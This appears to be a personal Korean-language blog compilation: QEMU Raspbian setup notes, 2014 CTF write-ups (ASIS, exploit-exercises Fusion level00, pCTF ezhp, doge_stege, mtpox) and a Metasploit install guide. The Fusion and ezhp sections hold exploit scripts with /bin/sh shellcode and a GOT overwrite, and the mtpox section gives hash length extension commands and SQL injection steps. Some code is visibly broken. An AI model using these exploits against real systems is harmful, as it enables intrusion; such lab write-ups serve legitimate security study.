mac os x qemu raspbian

1. (Install brew)

ruby -e "$(curl -fsSL https://raw.github.com/Homebrew/homebrew/go/install)"

2. (Install qemu&etc)

brew install https://raw.github.com/Homebrew/homebrew-dupes/master/apple-gcc42.rb
brew install https://raw.github.com/Homebrew/homebrew-dupes/master/apple-gcc42.rb
wget http://xecdesign.com/downloads/linux-qemu/kernel-qemu

3. (First Boot)

jungiui-MacBook-Pro:RaspberryPi kjungi704$ qemu-system-arm -kernel kernel-qemu -cpu arm1176 -m 256 -M versatilepb -no-reboot -serial stdio -append "root=/dev/sda2 panic=1 rootfstype=ext4 rw init=/bin/bash console=ttyAMA0" -hda 2014-01-07-wheezy-raspbian.img 

4. (Modify)

nano /etc/ld.so.preload
#/usr/lib/arm-linux-gnueabihf/libcofi_rpi.so

nano /etc/udev/rules.d/90-qemu.rules
KERNEL=="sda", SYMLINK+="mmcblk0"
KERNEL=="sda?", SYMLINK+="mmcblk0p%n",

nano /etc/X11/xorg.conf
Section "Screen"
Identifier "Default Screen"
SubSection "Display"
Depth 16
Modes "800x600" "640x480"
EndSubSection
EndSection

shutdown -h now

5. (Final Boot)

jungiui-MacBook-Pro:RaspberryPi kjungi704$ qemu-system-arm -kernel kernel-qemu -cpu arm1176 -m 256 -M versatilepb -no-reboot -serial stdio -append "root=/dev/sda2 panic=1 rootfstype=ext4 rw console=ttyAMA0" -hda 2014-01-07-wheezy-raspbian.img 

Kernel-Image download

ASIS ctf 2014 Hidden flag Writeup

문제 지문따위 없다.

말그대로 hidden flag 이다. 

음...  x-flag라는것이 수상하다..

그리하여 저 modal box 의 소스를 보니 아래와 같은 jscript 내용이 있었다.

$(document).on('hidden.bs.modal', function (e) {
    e.preventDefault();
    $(e.target).removeData('bs.modal');
    
});
    var i=0;

    var result=['Please try again!', 'Try harder!', 'Your answer is not correct!', 'The submitted flag is not correct!', 'False flag!', 'Wrong answer!', 'Sorry!'];
    var final_result="Do you want to hack me?";

$('#flag_submission').submit(function(e){
    e.preventDefault();
    var shaObj = new jsSHA(document.forms["flag_submission"]["id_flag"].value, "TEXT");
    var hash = shaObj.getHash("SHA-256", "HEX");
    var shaObj2 = new jsSHA(hash, "TEXT");
    var hash2 = shaObj2.getHash("SHA-256", "HEX");
    if (document.forms["flag_submission"]["check"].value !== hash2) {
        if ($("#id_flag").next().length == 0){
            $('

').insertAfter('#id_flag');
        }
        if (i++>6){
            $('#answer').removeClass('alert-danger').addClass('alert');
            $('#answer').text(final_result);
        }
        else $('#answer').text(result[Math.floor(Math.random() * 7)]);
        return false;
    }

    $.ajax({
        type: "POST",
        url: "/challenges/22/",
        data: $('form').serialize(),
        success: function(msg){
            $("#ModalContainer").html(msg)
            $("#modal-dialog").modal('hide');
        },
        error: function(){
            alert("failure");
        }
    });
});

굳이 해석하자면 내가 인증시도한 flag 값을 sha256 hex로 두번 하고, 소스상의 name="check" 값인 2b127c77074e44b6e74074b1eb8d32dfe27fe78e6a05e302baed68e2cc643ca1
와 비교한다.

1. x-flag:
   ASIS_b6b?244608c2?c2e869cb56?67b64?b1

위의  x-flag값 중간중간에 물음표가 있으므로 bruteforcing을 거쳐 ?에 들어갈 단어를 알아낸다!!!

#!/usr/bin/python
from hashlib import *
print "+"*40
a = "b6b?244608c2?c2e869cb56?67b64?b1"
dic = "abcdef0123456789"
haha = []
for i in dic:
 for j in dic:
  for l in dic:
   for q in dic:
    haha.append(a[:3]+i+a[4:12]+j+a[13:23]+l+a[24:29]+q+a[30:])
   haha.append(a[:3]+i+a[4:12]+j+a[13:23]+l+a[24:29]+q+a[30:])
  haha.append(a[:3]+i+a[4:12]+j+a[13:23]+l+a[24:29]+q+a[30:])
 haha.append(a[:3]+i+a[4:12]+j+a[13:23]+l+a[24:29]+q+a[30:])

for i in haha:
 if sha256(sha256("ASIS_"+i).hexdigest()).hexdigest() == "2b127c77074e44b6e74074b1eb8d32dfe27fe78e6a05e302baed68e2cc643ca1":
  print "ASIS_"+i
  exit()

소스가 참 더럽다 더 짧고 이쁘게 짤수있었지만 인증이 먼저이기에...

root@mango:~/asis# python hiddenflag.py 
++++++++++++++++++++++++++++++++++++++++
ASIS_b6be244608c27c2e869cb56167b649b1

clear!

exploit-exercises Fusion level00

Level00 source code

#include "../common/common.c"  



int fix_path(char *path)

{

  char resolved[128];

  

  if(realpath(path, resolved) == NULL) return 1; // can't access path. will error trying to open

  strcpy(path, resolved);

}



char *parse_http_request()

{

  char buffer[1024];

  char *path;

  char *q;



  printf("[debug] buffer is at 0x%08x :-)\n", buffer);



  if(read(0, buffer, sizeof(buffer)) <= 0) errx(0, "Failed to read from remote host"); //if nothing

  if(memcmp(buffer, "GET ", 4) != 0) errx(0, "Not a GET request");	//if not "GET "



  path = &buffer[4];

  q = strchr(path, ' ');

  if(! q) errx(0, "No protocol version specified");

  *q++ = 0;

  if(strncmp(q, "HTTP/1.1", 8) != 0) errx(0, "Invalid protocol");



  fix_path(path);



  printf("trying to access %s\n", path);

  return path;

}



int main(int argc, char **argv, char **envp)

{

  int fd;

  char *p;



  background_process(NAME, UID, GID);  

  fd = serve_forever(PORT);

  set_io(fd);



  parse_http_request();  

}

exploit source 

#!/usr/bin/python

from struct import *

p = lambda x : pack("<L",x)



shellcode = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73" +\

"\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x08\x00\x00" +\

"\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x57\x53\x89\xe1\xcd" +\

"\x80"

ret = 0xbf999288 

payload = ""

payload += "GET "

payload += "\x90"*139

payload += p(ret)

payload += " HTTP/1.1 "

payload += "\x90"*50

payload += shellcode



print payload

clear!

pCTF ezhp 200 exploit only

ezhp 300 exploit!

#!/usr/bin/python



from socket import *

from struct import *



p = lambda x : pack("<L",x)

up = lambda x : pack("<L",x)[0]



s = socket(AF_INET,SOCK_STREAM)

s.connect(('127.0.0.1',8989))



puts_got = 0x0804A008

shellcode = ""

nopsled = "\x90"*90

payload = nopsled+shellcode





def write(s,size)

 s.send("1\n")

 s.recv(1024)

 s.send(size)



def change(s,num,size,data):

 s.send("3\n")

 s.recv(1024)

 s.send(num)

 s.recv(1024)

 s.send(size)

 s.recv(1024)

 s.send(data)



def main():

 print s.recv(2048) #start!

 write(s,4)

 s.recv(1024)

 change(s,0,100,p(puts_got)*9)

 s.recv(1024)

 write(s,4)

 s.recv(1024)

 change(s,0,len(payload),payload)

 s.recv(1024)

 s.send("1\n")





if __name__=="__main__":

 main()

CLEAR!

pCTF doge_stege forensic 100 writeup

간단한 문제였다.

적절한 툴을 사용하여 풀었다.

중간쪽에 어렴풋이 보이는.

pctf{keep_doge_alive_2014}

CLEAR!

pCTF mtpox web 150 writeup

http://54.211.6.40/ 에 접속시 이런 서비스가 돌아가고있었다.

LFI 취약점을 사용해  admin.php의 내용을 미리 엿볼수있었고,

소스도 볼수있었다.ㅎㅎㅎㅎㅎㅎ

아는 형에게 물어본 결과 hash extension attack 인것을 알고는 hash_extender 를 사용하여

kjungi704@jungiui-MacBook-Pro hash_extender $ for((i=1;i<=50;i++));do ./hash_extender -d "b:0;" -s ef16c2bffbcf0b7567217f292f9c2a9a50885e01e002fa34db34c0bb916ed5c3 -a "b:1;" --out-data-format html -l $i >> mtpox_auth; done

kjungi704@jungiui-MacBook-Pro hash_extender $ for((i=1;i<=50;i++));do ./hash_extender -d ";0:b" -s ef16c2bffbcf0b7567217f292f9c2a9a50885e01e002fa34db34c0bb916ed5c3 -a ";1:b" --out-data-format html -l $i >> mtpox_hsh; done

이렇게 길이를 모르기때문에 1~50 길이의 해쉬를 새로 생성하였다.

그러나 다시 읽어본결과 http://54.211.6.40/index.php?page=about 에 'admin cookie using by 8-byte salt'  라는 문구가 있었고, 고생을 할필요가 없었기에,

kjungi704@jungiui-MacBook-Pro hash_extender $ ./hash_extender -d "b:0;" -s ef16c2bffbcf0b7567217f292f9c2a9a50885e01e002fa34db34c0bb916ed5c3 -a "b:1;" --out-data-format html

kjungi704@jungiui-MacBook-Pro hash_extender $ ./hash_extender -d ";0:b" -s ef16c2bffbcf0b7567217f292f9c2a9a50885e01e002fa34db34c0bb916ed5c3 -a ";1:b" --out-

data-format html

이렇게 이렇게 해쉬를 생성하여, 쿠키값에 넣어줬더니,

admin 을 따게되었다.

그리곤 저 입력 form에 sql injection을 하여 table 명은 plaidcoin_wallets 라는것을 알게되었고, column은 id와 coins가 있다는것을 알게되었다.

table과 column명을 모두 알아냈기에 공격을 하여 키값을 획득하였다.

CLEAR!

linux metasploit install ubuntu

sudo su

apt-get -y install build-essential zlib1g zlib1g-dev  libxml2 libxml2-dev libxslt-dev locate  libreadline6-dev libcurl4-openssl-dev git-core libssl-dev libyaml-dev openssl autoconf libtool  ncurses-dev bison curl wget postgresql postgresql-contrib libpq-dev  libapr1 libaprutil1 libsvn1  libpcap-dev

apt-get install git-core postgresql curl ruby1.9.3 nmap gem
gem install wirble sqlite3 bundler

cd /opt
git clone https://github.com/rapid7/metasploit-framework.git
cd metasploit-framework
bundle install


./msfconsole